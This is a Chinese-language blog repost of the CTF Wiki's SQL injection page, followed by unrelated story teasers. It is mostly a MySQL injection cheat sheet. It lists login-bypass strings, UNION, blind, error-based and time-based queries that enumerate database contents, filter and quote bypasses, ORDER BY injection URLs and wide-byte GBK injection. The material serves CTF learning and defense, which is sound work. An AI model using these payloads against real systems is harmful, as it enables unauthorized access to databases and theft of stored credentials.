SQL 注入百科WIKI

SQL 注入

一不小心看到了CTF WIKI

惊为神人

文末有网址

这是我copy来的 好东西 留意纪念

基本概念

SQL 注入是一种将 SQL 代码插入或添加到应用(用户)的输入参数中,之后再讲这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。

攻击者能够修改 SQL 语句,该进程将与执行命令的组件(如数据库服务器、应用服务器或 WEB 服务器)拥有相同的权限。

如果 WEB 应用开发人员无法确保在将从 WEB 表单、cookie、输入参数等收到的值传递给 SQL 查询(该查询在数据库服务器上执行)之前已经对其进行过验证,通常就会出现 SQL 注入漏洞。

常用工具

Burp Suite:Burp Suite 使用介绍

Tamper Data (Firefox addon)

HackBar (Firefox addon)

sqlmap:sqlmap 用户手册

关于Tamper Data和HackBar的使用介绍

我这里有几个链接


注入常见参数

user():当前数据库用户

database():当前数据库名

version():当前使用的数据库版本

@@datadir:数据库存储数据路径

concat():联合数据,用于联合两条数据结果。如concat(username,0x3a,password)

group_concat():和concat()类似,如group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来

concat_ws():用法类似

hex()和unhex():用于 hex 编码解码

load_file():以文本方式读取文件,在 Windows 中,路径设置为\\

selectxxoointooutfile'路径':权限较高时可直接写文件

语法参考与小技巧

行间注释

--

#

行内注释

/*注释内容*/

DROP/*comment*/sampletable`DR/**/OP/*绕过过滤*/sampletable`SELECT/*替换空格*/password/**/FROM/**/Members

/*!MYSQL专属*/

SELECT/*!32302 1/0, */1FROMtablename

字符串编码

ASCII():返回字符的 ASCII 码值

CHAR():把整数转换为对应的字符

后台万能密码

admin'--

admin'#

admin'/*

'or1=1--

'or1=1#

'or1=1/*

')or'1'='1--

')or('1'='1--

以不同的用户登陆'UNIONSELECT1,'anotheruser','doesntmatter',1--

注入语句备忘

数据库名

SELECTdatabase();SELECTschema_nameFROMinformation_schema.schemata;

表名

union 查询

--MySQL 4版本时用version=9,MySQL 5版本时用version=10UNIONSELECTGROUP_CONCAT(table_name)FROMinformation_schema.tablesWHEREversion=10;/* 列出当前数据库中的表 */UNIONSELECTTABLE_NAMEFROMinformation_schema.tablesWHERETABLE_SCHEMA=database();/* 列出所有用户自定义数据库中的表 */SELECTtable_schema,table_nameFROMinformation_schema.tablesWHEREtable_schema!='information_schema'ANDtable_schema!='mysql';

盲注

ANDSELECTSUBSTR(table_name,1,1)FROMinformation_schema.tables>'A'

报错

AND(SELECTCOUNT(*)FROM(SELECT1UNIONSELECTnullUNIONSELECT!1)xGROUPBYCONCAT((SELECTtable_nameFROMinformation_schema.tablesLIMIT1),FLOOR(RAND(0)*2)))(@:=1)||@GROUPBYCONCAT((SELECTtable_nameFROMinformation_schema.tablesLIMIT1),!@)HAVING@||MIN(@:=0);ANDExtractValue(1,CONCAT(0x5c,(SELECTtable_nameFROMinformation_schema.tablesLIMIT1)));-- 在5.1.5版本中成功。

列名

union 查询

UNIONSELECTGROUP_CONCAT(column_name)FROMinformation_schema.columnsWHEREtable_name='tablename'

盲注

ANDSELECTSUBSTR(column_name,1,1)FROMinformation_schema.columns>'A'

报错

-- 在5.1.5版本中成功AND(1,2,3)=(SELECT*FROMSOME_EXISTING_TABLEUNIONSELECT1,2,3LIMIT1)-- MySQL 5.1版本修复了AND(SELECTCOUNT(*)FROM(SELECT1UNIONSELECTnullUNIONSELECT!1)xGROUPBYCONCAT((SELECTcolumn_nameFROMinformation_schema.columnsLIMIT1),FLOOR(RAND(0)*2)))(@:=1)||@GROUPBYCONCAT((SELECTcolumn_nameFROMinformation_schema.columnsLIMIT1),!@)HAVING@||MIN(@:=0);ANDExtractValue(1,CONCAT(0x5c,(SELECTcolumn_nameFROMinformation_schema.columnsLIMIT1)));

利用PROCEDUREANALYSE()

-- 这个需要 web 展示页面有你所注入查询的一个字段-- 获得第一个段名SELECTusername,permissionFROMUsersWHEREid=1;1PROCEDUREANALYSE()-- 获得第二个段名1LIMIT1,1PROCEDUREANALYSE()-- 获得第三个段名1LIMIT2,1PROCEDUREANALYSE()

根据列名查询所在的表

-- 查询字段名为 username 的表SELECTtable_nameFROMinformation_schema.columnsWHEREcolumn_name='username';-- 查询字段名中包含 username 的表SELECTtable_nameFROMinformation_schema.columnsWHEREcolumn_nameLIKE'%user%';

绕过引号限制

-- hex 编码SELECT*FROMUsersWHEREusername=0x61646D696E-- char() 函数SELECT*FROMUsersWHEREusername=CHAR(97,100,109,105,110)

绕过字符串黑名单

SELECT'a''d''mi''n';SELECTCONCAT('a','d','m','i','n');SELECTCONCAT_WS('','a','d','m','i','n');SELECTGROUP_CONCAT('a','d','m','i','n');

使用CONCAT()时,任何个参数为 null,将返回 null,推荐使用CONCAT_WS()。CONCAT_WS()函数第一个参数表示用哪个字符间隔所查询的结果。

条件语句

CASE,IF(),IFNULL(),NULLIF().

SELECTIF(1=1,true,false);SELECTCASEWHEN1=1THENtrueELSEfalseEND;

延时函数

SLEEP(),BENCHMARK().

' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

order by 后的注入

orderby由于是排序语句,所以可以利用条件语句做判断,根据返回的排序结果不同判断条件的真假。一般带有order或者orderby的变量很可能是这种注入,在知道一个字段的时候可以采用如下方式注入:

原始链接:http://www.test.com/list.php?order=vote

根据vote字段排序。找到投票数最大的票数num然后构造以下链接:

http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc

看排序是否变化。还有一种方法不需要知道任何字段信息,使用rand函数:

http://www.test.com/list.php?order=rand(true)http://www.test.com/list.php?order=rand(false)

以上两个会返回不同的排序,判断表名中第一个字符是否小于 128 的语句如下:

http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

宽字节注入

国内最常使用的 GBK 编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠\的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在 GBK 中变为一个宽字符「縗」。%bf那个位置可以是%81-%fe中间的任何字符。不止在 SQL 注入中,宽字符注入在很多地方都可以应用。

参考资料

SQL 注入速查表

MySQL 注入技巧

MySQL 注入科普

MySQL 注入总结

《SQL 注入攻击与防御》

NextPrevious

https://ctf-wiki.github.io/ctf-wiki/web/sqli.html

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,590评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 86,808评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,151评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,779评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,773评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,656评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,022评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,678评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 41,038评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,659评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,756评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,411评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,005评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,973评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,203评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,053评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,495评论 2 343

推荐阅读更多精彩内容